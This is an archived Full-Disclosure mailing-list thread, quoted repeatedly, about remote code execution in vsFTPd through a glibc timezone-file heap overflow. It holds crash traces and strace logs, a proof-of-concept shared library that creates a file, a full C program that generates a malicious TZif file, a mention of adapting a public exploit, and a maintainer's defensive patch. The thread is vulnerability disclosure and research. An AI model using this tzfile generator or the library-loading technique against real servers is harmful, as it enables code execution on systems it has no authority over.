Re: [Full-disclosure] vsFTPd remote code execution
On Sat, Dec 17, 2011 at 9:44 PM, Chris Evans scarybea...@gmail.com wrote:
On Thu, Dec 15, 2011 at 5:39 AM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Hi Chris,
Am 14. Dezember 2011 08:21 schrieb Chris Evans scarybea...@gmail.com:
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Yes you are somewhat right, as this is the old discussion about if
code execution inside an ftpd
is a vulnerability itself or only local code execution. I have the
opinion that an ftpd which does not allow to run code
should restrict the user so, and if there is a way to execute code it
it is a vulnerability.
Take the example of a vsftpd configured for anonymous ftp and write
access in /var/ftp.
IIRC, vsftpd can refuse to start an anonymous session for the
misconfiguration where the root directory is writeable (to avoid
problems in the libc like this). I'll make sure it still works and
maybe check other paths such as /etc
thats indeed true, nevertheless I have seen boxes in the wild
with vsftpd running with anonymous and write access in
/var/ftp, maybe because this security measure was built into
vsftpd in newer versions ? I am not sure.
Weird. That's an awful config.
Would you even need a glibc vuln to attack such an anonymous setup? I
fiddled around with looking at how glibc loads /etc/nsswitch.conf
(which can be used to provoke a shared library load from /usr/lib at
runtime) and it looks like glibc caches /etc/nsswitch.conf across both
fork() and chroot(), at least my version in F14. Nonetheless, there
must be other interesting avenues of research along these lines :)
Hehe! I just noticed that FreeBSD was not so lucky:
http://security.freebsd.org/advisories/FreeBSD-SA-11:07.chroot.asc
Cheers
Chris
For v2.3.5, I moved the check to be sure it's impossible to avoid it
no matter how many options you fiddle with.
For local users, there's a configuration setting: chroot_local_user.
The compiled-in default is false, and the man page cautions:
---
.BR Warning:
This option has security implications, especially if the users have upload
permission, or shell access. Only enable if you know what you are doing.
---
I'm not uptodate with whether Linux distributions have turned this on
by default or not.
I think it is not the default setting but many admins will make use of it in
hosting environments.
vsftpd does have the concept of virtual users. I'm not sure if it's
widely used but it seems that this type of user login would present
the biggest headache.
Amusingly, vsftpd already attempts to desist glibc from loading any
timezone files from inside the chroot() (see env_init) by warming up
the subsystem and even explicitly setting TZ in the environment. glibc
displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm
curious to know if glibc still crashes if the setting
use_localtime=YES is used?
I havent checked that but as you said in a private conversation
cacheing the zoneinfo file through glibc beforehand makes the zoneinfo file
usage disappear in my strace output.
I also don't see any zoneinfo file loads in a default vsftpd config,
FWIW. Seems to need use_localtime=YES = localtime(). Although one of
the crash stacks pasted goes via gmtime() so YMMV and it may be glibc
version dependent.
I don't mind adding workarounds or avoidances for libc bugs (for
example, functions like regcomp, fnmatch have long been avoided). If
you had any clever ideas, I'm happy to put them in, otherwise it's a
case of waiting for the glibc updates.
For me it is a miracle why this bug was not patched in glibc back in 2009.
I think it's still not fixed but being actively worked on. I wonder if
the /etc/passwd parser is robust :-P Any other system files you can
think of that might end up getting parsed in the context of a typical
FTP server?
Here is the patch by you Chris I hope I can go ahead and post it here
on full disclosure
as this might get into a new release anyways (use at your own risk!):
I just put it in a v2.3.5 release because it seems simple enough.
Cheers
Chris
Add this to the very bottom of vsf_sysutil_tzset():
---snip---
p_tm = localtime(the_time);
if (p_tm == NULL)
{
die(localtime #2);
}
p_tm = gmtime(the_time);
if (p_tm == NULL)
{
die(gmtime);
}
---snip---
Regards,
Kingcope
Cheers
Chris
The attacker might
execute code using the vulnerability without authentication
credentials, or for example an attacker only has
access to a user account configured for ftp.
Basically you are right, vsftpd uses privsep so its a not so risky
vulnerability.
/Kingcope
Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg
dan.j.rosenb...@gmail.com:
Anyone with an up2date linux local root which only makes use of
syscalls? :
This is all fun stuff, and definitely worth looking into further, but
if you've got a local kernel exploit that you can trigger
Re: [Full-disclosure] vsFTPd remote code execution
On Thu, Dec 15, 2011 at 5:39 AM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Hi Chris,
Am 14. Dezember 2011 08:21 schrieb Chris Evans scarybea...@gmail.com:
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Yes you are somewhat right, as this is the old discussion about if
code execution inside an ftpd
is a vulnerability itself or only local code execution. I have the
opinion that an ftpd which does not allow to run code
should restrict the user so, and if there is a way to execute code it
it is a vulnerability.
Take the example of a vsftpd configured for anonymous ftp and write
access in /var/ftp.
IIRC, vsftpd can refuse to start an anonymous session for the
misconfiguration where the root directory is writeable (to avoid
problems in the libc like this). I'll make sure it still works and
maybe check other paths such as /etc
thats indeed true, nevertheless I have seen boxes in the wild
with vsftpd running with anonymous and write access in
/var/ftp, maybe because this security measure was built into
vsftpd in newer versions ? I am not sure.
Weird. That's an awful config.
Would you even need a glibc vuln to attack such an anonymous setup? I
fiddled around with looking at how glibc loads /etc/nsswitch.conf
(which can be used to provoke a shared library load from /usr/lib at
runtime) and it looks like glibc caches /etc/nsswitch.conf across both
fork() and chroot(), at least my version in F14. Nonetheless, there
must be other interesting avenues of research along these lines :)
For v2.3.5, I moved the check to be sure it's impossible to avoid it
no matter how many options you fiddle with.
For local users, there's a configuration setting: chroot_local_user.
The compiled-in default is false, and the man page cautions:
---
.BR Warning:
This option has security implications, especially if the users have upload
permission, or shell access. Only enable if you know what you are doing.
---
I'm not uptodate with whether Linux distributions have turned this on
by default or not.
I think it is not the default setting but many admins will make use of it in
hosting environments.
vsftpd does have the concept of virtual users. I'm not sure if it's
widely used but it seems that this type of user login would present
the biggest headache.
Amusingly, vsftpd already attempts to desist glibc from loading any
timezone files from inside the chroot() (see env_init) by warming up
the subsystem and even explicitly setting TZ in the environment. glibc
displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm
curious to know if glibc still crashes if the setting
use_localtime=YES is used?
I havent checked that but as you said in a private conversation
cacheing the zoneinfo file through glibc beforehand makes the zoneinfo file
usage disappear in my strace output.
I also don't see any zoneinfo file loads in a default vsftpd config,
FWIW. Seems to need use_localtime=YES = localtime(). Although one of
the crash stacks pasted goes via gmtime() so YMMV and it may be glibc
version dependent.
I don't mind adding workarounds or avoidances for libc bugs (for
example, functions like regcomp, fnmatch have long been avoided). If
you had any clever ideas, I'm happy to put them in, otherwise it's a
case of waiting for the glibc updates.
For me it is a miracle why this bug was not patched in glibc back in 2009.
I think it's still not fixed but being actively worked on. I wonder if
the /etc/passwd parser is robust :-P Any other system files you can
think of that might end up getting parsed in the context of a typical
FTP server?
Here is the patch by you Chris I hope I can go ahead and post it here
on full disclosure
as this might get into a new release anyways (use at your own risk!):
I just put it in a v2.3.5 release because it seems simple enough.
Cheers
Chris
Add this to the very bottom of vsf_sysutil_tzset():
---snip---
p_tm = localtime(the_time);
if (p_tm == NULL)
{
die(localtime #2);
}
p_tm = gmtime(the_time);
if (p_tm == NULL)
{
die(gmtime);
}
---snip---
Regards,
Kingcope
Cheers
Chris
The attacker might
execute code using the vulnerability without authentication
credentials, or for example an attacker only has
access to a user account configured for ftp.
Basically you are right, vsftpd uses privsep so its a not so risky
vulnerability.
/Kingcope
Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg
dan.j.rosenb...@gmail.com:
Anyone with an up2date linux local root which only makes use of syscalls?
:
This is all fun stuff, and definitely worth looking into further, but
if you've got a local kernel exploit that you can trigger from inside
vsftpd, you don't need this (potential) vulnerability in vsftpd - you
already win.
-Dan
___
Full-Disclosure - We believe in it.
Charter:
Re: [Full-disclosure] vsFTPd remote code execution
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On 12/13/11 11:50 AM, HI-TECH . wrote:
Hello Lists, Ramon,
now this is really akward and somewhat dangerous for vsftpd users.
Exploiting the heap overrun is NOT needed in this case. It is much
easier.
As far as I know when vsftpd crashes due to the heap overrun it
will print out *** glibc detected *** vsftpd: free(): corrupted
unsorted chunks: 0x09b3c220 *** or similar. Now the fun part is
when glibc does that it will continue execution in a code path
which actually LOADS A LIBRARY, WOW! :D Namely /lib/libgcc_s.so.1
will be loaded.
This seems to be the case to load the interpreter for the dwarf
symbols used in exception handling.
Best Regards,
Rodrigo (BSDaemon).
gdb backtrace reveals loading of a specific library:
---snip--- Program received signal SIGSEGV, Segmentation fault.
0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 (gdb) bt #0
0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 #1
0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2 #2
0x001893f2 in _dl_open () from /lib/ld-linux.so.2 #3 0x002a42e2 in
do_dlopen () from /lib/libc.so.6 #4 0x00185da6 in _dl_catch_error
() from /lib/ld-linux.so.2 #5 0x002a4495 in __libc_dlopen_mode ()
from /lib/libc.so.6 #6 0x002810f9 in init () from /lib/libc.so.6
#7 0x00281293 in backtrace () from /lib/libc.so.6 #8 0x001fd2a1
in __libc_message () from /lib/libc.so.6 #9 0x002055a5 in
_int_free () from /lib/libc.so.6 #10 0x002059e9 in free () from
/lib/libc.so.6 #11 0x001f3c96 in fclose@@GLIBC_2.1 () from
/lib/libc.so.6 #12 0x0022093a in __tzfile_read () from
/lib/libc.so.6 #13 0x0021f872 in tzset_internal () from
/lib/libc.so.6 #14 0x00220119 in __tz_convert () from
/lib/libc.so.6 #15 0x0021e6af in gmtime () from /lib/libc.so.6 #16
0x0805a6f0 in geteuid () #17 0x0a0581b0 in ?? () #18 0xbfda67f4 in
?? () #19 0x0001 in ?? () ---snip---
look at this library: ---snip--- #include fcntl.h void _init() {
open(0wned, O_RDWR|O_CREAT, 0777); } ---snip---
look at this strace output: ---snip--- 3874
stat64(/usr/share/zoneinfo/UTC-01:00, {st_mode=S_IFREG|0644,
st_size=544, ...}) = 0 3874 open(/usr/share/zoneinfo/UTC-01:00,
O_RDONLY) = 7 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544,
...}) = 0 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544,
...}) = 0 3874 mmap2(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000 3874 read(7,
TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0...,
4096) = 544 3874 read(7, , 4096) = 0 3874
close(7) = 0 3874 munmap(0xb7fe8000,
4096) = 0 3874 open(/dev/tty,
O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No such file or
directory) 3874 writev(2, [{*** glibc detected *** , 23},
{vsftpd, 6}, {: , 2}, {free(): corrupted unsorted chunk...,
33}, {: 0x, 4}, {09b3c220, 8}, { ***\n, 5}], 7) = 81 3874
open(/etc/ld.so.cache, O_RDONLY) = -1 ENOENT (No such file or
directory) 3874 open(/lib/tls/i686/sse2/libgcc_s.so.1, O_RDONLY)
= -1 ENOENT (No such file or directory) 3874
stat64(/lib/tls/i686/sse2, 0xbfeb711c) = -1 ENOENT (No such file
or directory) 3874 open(/lib/tls/i686/libgcc_s.so.1, O_RDONLY) =
-1 ENOENT (No such file or directory) 3874 stat64(/lib/tls/i686,
0xbfeb711c) = -1 ENOENT (No such file or directory) 3874
open(/lib/tls/sse2/libgcc_s.so.1, O_RDONLY) = -1 ENOENT (No such
file or directory) 3874 stat64(/lib/tls/sse2, 0xbfeb711c) = -1
ENOENT (No such file or directory) 3874
open(/lib/tls/libgcc_s.so.1, O_RDONLY) = -1 ENOENT (No such file
or directory) 3874 stat64(/lib/tls, 0xbfeb711c)= -1 ENOENT
(No such file or directory) 3874
open(/lib/i686/sse2/libgcc_s.so.1, O_RDONLY) = -1 ENOENT (No such
file or directory) 3874 stat64(/lib/i686/sse2, 0xbfeb711c) = -1
ENOENT (No such file or directory) 3874
open(/lib/i686/libgcc_s.so.1, O_RDONLY) = -1 ENOENT (No such file
or directory) 3874 stat64(/lib/i686, 0xbfeb711c) = -1 ENOENT
(No such file or directory) 3874 open(/lib/sse2/libgcc_s.so.1,
O_RDONLY) = -1 ENOENT (No such file or directory) 3874
stat64(/lib/sse2, 0xbfeb711c) = -1 ENOENT (No such file or
directory) 3874 open(/lib/libgcc_s.so.1, O_RDONLY) = 7 3874
read(7,
\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0...,
512) = 512
3874 open(/dev/tty, O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
such file or directory) 3874 writev(2, [{*** glibc detected ***
, 23}, {vsftpd, 6}, {: , 2}, {malloc(): memory corruption
(fas..., 34}, {: 0x, 4}, {09b36828, 8}, { ***\n, 5}], 7) =
82 3874 open(/lib/libgcc_s.so.1, O_RDONLY) = 8 3874 read(8,
\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0...,
512) = 512
3874 mmap2(NULL, 2097152, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb7de4000 3874
munmap(0xb7de4000, 114688)= 0 3874 munmap(0xb7f0,
933888)= 0 3874 mprotect(0xb7e0, 135168,
Re: [Full-disclosure] vsFTPd remote code execution
Hi Chris,
Am 14. Dezember 2011 08:21 schrieb Chris Evans scarybea...@gmail.com:
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Yes you are somewhat right, as this is the old discussion about if
code execution inside an ftpd
is a vulnerability itself or only local code execution. I have the
opinion that an ftpd which does not allow to run code
should restrict the user so, and if there is a way to execute code it
it is a vulnerability.
Take the example of a vsftpd configured for anonymous ftp and write
access in /var/ftp.
IIRC, vsftpd can refuse to start an anonymous session for the
misconfiguration where the root directory is writeable (to avoid
problems in the libc like this). I'll make sure it still works and
maybe check other paths such as /etc
thats indeed true, nevertheless I have seen boxes in the wild
with vsftpd running with anonymous and write access in
/var/ftp, maybe because this security measure was built into
vsftpd in newer versions ? I am not sure.
For local users, there's a configuration setting: chroot_local_user.
The compiled-in default is false, and the man page cautions:
---
.BR Warning:
This option has security implications, especially if the users have upload
permission, or shell access. Only enable if you know what you are doing.
---
I'm not uptodate with whether Linux distributions have turned this on
by default or not.
I think it is not the default setting but many admins will make use of it in
hosting environments.
vsftpd does have the concept of virtual users. I'm not sure if it's
widely used but it seems that this type of user login would present
the biggest headache.
Amusingly, vsftpd already attempts to desist glibc from loading any
timezone files from inside the chroot() (see env_init) by warming up
the subsystem and even explicitly setting TZ in the environment. glibc
displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm
curious to know if glibc still crashes if the setting
use_localtime=YES is used?
I havent checked that but as you said in a private conversation
cacheing the zoneinfo file through glibc beforehand makes the zoneinfo file
usage disappear in my strace output.
I don't mind adding workarounds or avoidances for libc bugs (for
example, functions like regcomp, fnmatch have long been avoided). If
you had any clever ideas, I'm happy to put them in, otherwise it's a
case of waiting for the glibc updates.
For me it is a miracle why this bug was not patched in glibc back in 2009.
Here is the patch by you Chris I hope I can go ahead and post it here
on full disclosure
as this might get into a new release anyways (use at your own risk!):
Add this to the very bottom of vsf_sysutil_tzset():
---snip---
p_tm = localtime(the_time);
if (p_tm == NULL)
{
die(localtime #2);
}
p_tm = gmtime(the_time);
if (p_tm == NULL)
{
die(gmtime);
}
---snip---
Regards,
Kingcope
Cheers
Chris
The attacker might
execute code using the vulnerability without authentication
credentials, or for example an attacker only has
access to a user account configured for ftp.
Basically you are right, vsftpd uses privsep so its a not so risky
vulnerability.
/Kingcope
Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg dan.j.rosenb...@gmail.com:
Anyone with an up2date linux local root which only makes use of syscalls?
:
This is all fun stuff, and definitely worth looking into further, but
if you've got a local kernel exploit that you can trigger from inside
vsftpd, you don't need this (potential) vulnerability in vsftpd - you
already win.
-Dan
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
There is guides, like;
http://blog.up-link.ro/how-to-set-up-vsftpd-virtual-users-berkeley-db-pam/
wich is folwing this trend...to create a var/ftp/public or
var/ftp/user , wich is great...if your not running vsftpd...
On 16 December 2011 00:39, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Hi Chris,
Am 14. Dezember 2011 08:21 schrieb Chris Evans scarybea...@gmail.com:
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH .
isowarez.isowarez.isowa...@googlemail.com wrote:
Yes you are somewhat right, as this is the old discussion about if
code execution inside an ftpd
is a vulnerability itself or only local code execution. I have the
opinion that an ftpd which does not allow to run code
should restrict the user so, and if there is a way to execute code it
it is a vulnerability.
Take the example of a vsftpd configured for anonymous ftp and write
access in /var/ftp.
IIRC, vsftpd can refuse to start an anonymous session for the
misconfiguration where the root directory is writeable (to avoid
problems in the libc like this). I'll make sure it still works and
maybe check other paths such as /etc
thats indeed true, nevertheless I have seen boxes in the wild
with vsftpd running with anonymous and write access in
/var/ftp, maybe because this security measure was built into
vsftpd in newer versions ? I am not sure.
For local users, there's a configuration setting: chroot_local_user.
The compiled-in default is false, and the man page cautions:
---
.BR Warning:
This option has security implications, especially if the users have upload
permission, or shell access. Only enable if you know what you are doing.
---
I'm not uptodate with whether Linux distributions have turned this on
by default or not.
I think it is not the default setting but many admins will make use of it in
hosting environments.
vsftpd does have the concept of virtual users. I'm not sure if it's
widely used but it seems that this type of user login would present
the biggest headache.
Amusingly, vsftpd already attempts to desist glibc from loading any
timezone files from inside the chroot() (see env_init) by warming up
the subsystem and even explicitly setting TZ in the environment. glibc
displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm
curious to know if glibc still crashes if the setting
use_localtime=YES is used?
I havent checked that but as you said in a private conversation
cacheing the zoneinfo file through glibc beforehand makes the zoneinfo file
usage disappear in my strace output.
I don't mind adding workarounds or avoidances for libc bugs (for
example, functions like regcomp, fnmatch have long been avoided). If
you had any clever ideas, I'm happy to put them in, otherwise it's a
case of waiting for the glibc updates.
For me it is a miracle why this bug was not patched in glibc back in 2009.
Here is the patch by you Chris I hope I can go ahead and post it here
on full disclosure
as this might get into a new release anyways (use at your own risk!):
Add this to the very bottom of vsf_sysutil_tzset():
---snip---
p_tm = localtime(the_time);
if (p_tm == NULL)
{
die(localtime #2);
}
p_tm = gmtime(the_time);
if (p_tm == NULL)
{
die(gmtime);
}
---snip---
Regards,
Kingcope
Cheers
Chris
The attacker might
execute code using the vulnerability without authentication
credentials, or for example an attacker only has
access to a user account configured for ftp.
Basically you are right, vsftpd uses privsep so its a not so risky
vulnerability.
/Kingcope
Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg
dan.j.rosenb...@gmail.com:
Anyone with an up2date linux local root which only makes use of syscalls?
:
This is all fun stuff, and definitely worth looking into further, but
if you've got a local kernel exploit that you can trigger from inside
vsftpd, you don't need this (potential) vulnerability in vsftpd - you
already win.
-Dan
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside
the chroot,
so voila we have the same issue as with FreeBSD ftpd/proftpd.
I am now looking into the possibility to modify
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
and use as the library. It will be a fun Proof of Concept.
Hats off to you! :)
Anyone with an up2date linux local root which only makes use of
syscalls? :
All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
compiled from sources
and launched from xinetd.
I've also triggered this in RHEL 6 with its latest version of vsftpd installed
with the following changes made to dividead's exploit:
--- a.c 2011-12-13 18:05:50.70190 -0200
+++ b.c 2011-12-13 18:06:26.87406 -0200
@@ -59,8 +59,8 @@
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
-/* value of chars, to get a malloc(0) */
-evil2 = 0 - total_size;
+/* value of chars, to get a malloc(500) */
+evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
@@ -68,6 +68,6 @@
printf(%c, p[i]);
/* data we overflow with */
-for (i = 0; i 5; i++)
+for (i = 0; i 50; i++)
printf(A);
}
--
Ramon de C Valle / Red Hat Security Response Team
#include stdio.h
#include stdint.h
#include time.h
#include string.h
#define TZ_MAGICTZif
#define PUT_32BIT_MSB(cp, value)\
do {\
(cp)[0] = (value) 24;\
(cp)[1] = (value) 16;\
(cp)[2] = (value) 8; \
(cp)[3] = (value); \
} while (0)
struct tzhead {
chartzh_magic[4];
chartzh_version[1];
chartzh_reserved[15];
chartzh_ttisgmtcnt[4];
chartzh_ttisstdcnt[4];
chartzh_leapcnt[4];
chartzh_timecnt[4];
chartzh_typecnt[4];
chartzh_charcnt[4];
};
struct ttinfo
{
long int offset;
unsigned char isdst;
unsigned char idx;
unsigned char isstd;
unsigned char isgmt;
};
int main(void)
{
struct tzhead evil;
int i;
char *p;
uint32_t total_size;
uint32_t evil1, evil2;
/* Initialize static part of the header */
memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
evil.tzh_version[0] = 0;
memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
/* Initialize nasty part of the header */
evil1 = 500;
PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
total_size = evil1 * (sizeof(time_t) + 1);
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
/* value of chars, to get a malloc(500) */
evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
for (i = 0; i sizeof(evil); i++)
printf(%c, p[i]);
/* data we overflow with */
for (i = 0; i 50; i++)
printf(A);
}
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
On Tue, Dec 13, 2011 at 3:11 PM, HI-TECH . isowarez.isowarez.isowa...@googlemail.com wrote: Yes you are somewhat right, as this is the old discussion about if code execution inside an ftpd is a vulnerability itself or only local code execution. I have the opinion that an ftpd which does not allow to run code should restrict the user so, and if there is a way to execute code it it is a vulnerability. Take the example of a vsftpd configured for anonymous ftp and write access in /var/ftp. The attacker might execute code using the vulnerability without authentication credentials, or for example an attacker only has access to a user account configured for ftp. Basically you are right, vsftpd uses privsep so its a not so risky vulnerability. /Kingcope I completely misread what you were asking about before. You're exactly right, disregard my previous comment. -Dan Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg dan.j.rosenb...@gmail.com: Anyone with an up2date linux local root which only makes use of syscalls? : This is all fun stuff, and definitely worth looking into further, but if you've got a local kernel exploit that you can trigger from inside vsftpd, you don't need this (potential) vulnerability in vsftpd - you already win. -Dan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH . isowarez.isowarez.isowa...@googlemail.com wrote: Yes you are somewhat right, as this is the old discussion about if code execution inside an ftpd is a vulnerability itself or only local code execution. I have the opinion that an ftpd which does not allow to run code should restrict the user so, and if there is a way to execute code it it is a vulnerability. Take the example of a vsftpd configured for anonymous ftp and write access in /var/ftp. IIRC, vsftpd can refuse to start an anonymous session for the misconfiguration where the root directory is writeable (to avoid problems in the libc like this). I'll make sure it still works and maybe check other paths such as /etc For local users, there's a configuration setting: chroot_local_user. The compiled-in default is false, and the man page cautions: --- .BR Warning: This option has security implications, especially if the users have upload permission, or shell access. Only enable if you know what you are doing. --- I'm not uptodate with whether Linux distributions have turned this on by default or not. vsftpd does have the concept of virtual users. I'm not sure if it's widely used but it seems that this type of user login would present the biggest headache. Amusingly, vsftpd already attempts to desist glibc from loading any timezone files from inside the chroot() (see env_init) by warming up the subsystem and even explicitly setting TZ in the environment. glibc displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm curious to know if glibc still crashes if the setting use_localtime=YES is used? I don't mind adding workarounds or avoidances for libc bugs (for example, functions like regcomp, fnmatch have long been avoided). If you had any clever ideas, I'm happy to put them in, otherwise it's a case of waiting for the glibc updates. Cheers Chris The attacker might execute code using the vulnerability without authentication credentials, or for example an attacker only has access to a user account configured for ftp. Basically you are right, vsftpd uses privsep so its a not so risky vulnerability. /Kingcope Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg dan.j.rosenb...@gmail.com: Anyone with an up2date linux local root which only makes use of syscalls? : This is all fun stuff, and definitely worth looking into further, but if you've got a local kernel exploit that you can trigger from inside vsftpd, you don't need this (potential) vulnerability in vsftpd - you already win. -Dan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
